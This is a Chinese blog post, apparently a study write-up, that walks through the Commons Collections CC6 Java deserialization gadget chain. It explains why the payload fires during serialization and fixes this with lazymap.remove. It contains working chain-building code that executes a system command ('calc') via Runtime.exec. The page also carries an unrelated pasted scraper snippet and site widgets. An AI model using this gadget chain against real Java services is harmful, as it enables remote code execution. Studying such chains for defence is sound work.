java最好用的一条链-CC6

java最好用的一条链-CC6

我们在前面的链中说到了,8u71是一个风水岭,因为AnnotationInvocationHandler#readObject的代码逻辑变了,checkValue函数没了,所以我们要重找入口点,最后找到重hash入手,这就是下面我们要介绍的cc6

首先我们先理一下利用逻辑

在AnnotationInvocationHandler之前的部分我们继续使用,也就是说lazymap我们还可以继续用,那就要重新找谁调用了lazymap的get方法,然后我们发现TiedMapEntry类里的getValue里正好调用了map.getValue并且参数我们可控,我们把lazymap传入即可,在往上就是hashMap的readObject中调用了hash(key)方法,而hash方法中又调用了key.hashcode方法,所以我们把让key为TiedMapEntry对象,再让其对象里有lazymap即可

在这里插入图片描述

继续看是谁调用了getValue,发现还是这个类中的方法,hashcode

在这里插入图片描述

我们先学习一下这个方法,在学习hashcode之前,我们先回顾一下hash

hash是一个函数,该函数中的实现就是一种算法,就是通过一系列的算法来得到一个hash值。这个时候,我们就需要知道另一个东西,hash表,通过hash算法得到的hash值就在这张hash表中,也就是说,hash表就是所有的hash值组成的,有很多种hash函数,也就代表着有很多种算法得到hash值

hashcode就是一个对象在hash表中的位置,他并不等同一个对象的物理地址,是对象的物理地址经过hash算法后才产生的hashcode,

hashcode的作用是为了用来在散列存储结构中确定对象的存储地址的,是为了查找更加方便,以及和equals方法的区别,两个对象的hashcode相等并不一定相等,但equals相等就一定相等

具体可以搜索这类文章

ok,我们回到正题,现在我们应该知道什么方法最可能调用hashcode方法了,那就是hash方法了,官方是找到了HashMap的hash方法

在这里插入图片描述

然后又用hashmap的ReadObject调用hash

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map2 =new HashMap<>();
        Map<Object,Object>  lazymap =LazyMap.decorate(map2, chainedTransformer);

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "key");
        HashMap<Object,Object> map3 =new HashMap<>();
        map3.put(tiedMapEntry,"aaa");

但是上述代码我们在序列化的时候就直接弹计算器了,我们在利用时应该是在反序列化的时候执行命令,要不然在本地命令执行了,(这个想了很长时间也没想明白这个怎么在序列化的时候就执行了,前两条链就没执行,以及对之后利用有什么问题,真是想的头都大了)不过最大的问题是,我们进行序列化反序列化的时候,无法弹出计算器,我们看一下原因:

在这里插入图片描述

我们跟进一下,到了lazymap的get方法,containKey(key)方法判断是否有key值,我们下一步

在这里插入图片描述

我们发现构造的lazymap里map的key值为aaa,这就很奇怪,我们创建的时候给lazymap的是一个空map,这为什么就有值了呢
问题出在这个函数put

在这里插入图片描述

我们看到put里也有这个hash函数,也就是说起点不止一个,put函数先执行hash,在序列化的时候已经执行完了,弹出计算器,但是反序列化的时候,get方法把key又写进去了,从而无法进入if循环,所以我们要把这个key删除(现在想想因为put函数直接执行,上面的疑问好像解决了)

lazymap.remove("aaa");

在这里插入图片描述执行成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
扮演一名大四学生,讲解以下代码爬取了什么东西 def detail_parse(self, response): fields = response.meta['fields'] if '(.*?)' in '<p data-v-cc6b2756>厂商:(.*?)</p>': fields["changshang"] = re.findall(r'<p data-v-cc6b2756>厂商:(.*?)</p>', response.text, re.S)[0].strip() else: if 'changshang' != 'xiangqing' and 'changshang' != 'detail' and 'changshang' != 'pinglun': fields["changshang"] = self.remove_html(response.css('<p data-v-cc6b2756>厂商:(.*?)</p>').extract_first()) else: fields["changshang"] = emoji.demojize(response.css('<p data-v-cc6b2756>厂商:(.*?)</p>').extract_first()) if '(.*?)' in '<p data-v-cc6b2756>油耗:(.*?)</p>': fields["youhao"] = re.findall(r'<p data-v-cc6b2756>油耗:(.*?)</p>', response.text, re.S)[0].strip() else: if 'youhao' != 'xiangqing' and 'youhao' != 'detail' and 'youhao' != 'pinglun': fields["youhao"] = self.remove_html(response.css('<p data-v-cc6b2756>油耗:(.*?)</p>').extract_first()) else: fields["youhao"] = emoji.demojize(response.css('<p data-v-cc6b2756>油耗:(.*?)</p>').extract_first()) if '(.*?)' in '<p data-v-cc6b2756>排量:(.*?)</p>': fields["pailiang"] = re.findall(r'<p data-v-cc6b2756>排量:(.*?)</p>', response.text, re.S)[0].strip() else: if 'pailiang' != 'xiangqing' and 'pailiang' != 'detail' and 'pailiang' != 'pinglun': fields["pailiang"] = self.remove_html(response.css('<p data-v-cc6b2756>排量:(.*?)</p>').extract_first()) else: fields["pailiang"] = emoji.demojize(response.css('<p data-v-cc6b2756>排量:(.*?)</p>').extract_first()) return fields
05-10

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值